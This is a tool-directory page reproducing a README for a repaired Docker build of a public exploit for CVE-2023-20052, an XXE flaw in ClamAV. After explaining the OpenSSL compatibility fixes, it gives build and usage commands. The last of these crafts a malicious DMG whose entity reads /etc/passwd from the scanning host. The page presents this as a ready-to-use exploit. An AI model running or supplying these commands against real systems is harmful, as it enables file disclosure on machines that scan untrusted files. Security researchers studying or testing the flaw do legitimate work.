Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-20052 | Kitploit
Tools/GitHubGitHub/mohitsinghpapola/cve-2023-20052
Vulnerability AnalysisExploitationWeb Application ExploitationFuzzingMalware AnalysisBinary Analysis
GitHubmohitsinghpapola/cve-2023-20052

CVE-2023-20052

View Repository
6 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-20052 Exploit - Fixed Build

Fixed Docker build for CVE-2023-20052 (ClamAV XXE vulnerability) that actually compiles.

What Was Broken

The original exploit fails to build on modern systems:

  • ❌ OpenSSL 3.0 compatibility errors
  • ❌ HMAC_CTX struct incomplete type errors
  • ❌ Implicit function declaration errors
  • ❌ Build fails at dmg/filevault.c compilation

What I Fixed

  1. Changed base image: Ubuntu 22.04 → Ubuntu 18.04
  2. Fixed OpenSSL version: Uses libssl1.0-dev (OpenSSL 1.0)
  3. Added non-interactive mode: Prevents build prompts
  4. Working Dockerfile: Actually compiles successfully

Why This Works

libdmg-hfsplus uses deprecated OpenSSL 1.0 functions:

  • HMAC_CTX_init() / HMAC_CTX_cleanup() (removed in OpenSSL 1.1+)
  • Direct HMAC_CTX struct usage (opaque in OpenSSL 1.1+)

Ubuntu 18.04 is the last LTS with OpenSSL 1.0 support.

Build & Usage

root@kitploit:~
# Build (takes ~3-5 minutes)
docker build -t cve-2023-20052 .

# Run
docker run -v $(pwd):/exploit -it cve-2023-20052 bash

# Create exploit DMG
genisoimage -D -V "exploit" -no-pad -r -apple -o test.img .
dmg dmg test.img test.dmg
bbe -e 's|<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">|<!DOCTYPE plist [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>|' -e 's/blkx/&xxe;/' test.dmg -o exploit.dmg

Credits

  • Original exploit: nokn0wthing/CVE-2023-20052
  • Fixed by: https://reapsec.com
root@kitploit:~
## Fixed Docker build for CVE-2023-20052 (ClamAV XXE) - Resolves OpenSSL 3.0 compilation errors. Uses Ubuntu 18.04 with OpenSSL 1.0 for compatibility with libdmg-hfsplus
Download Tool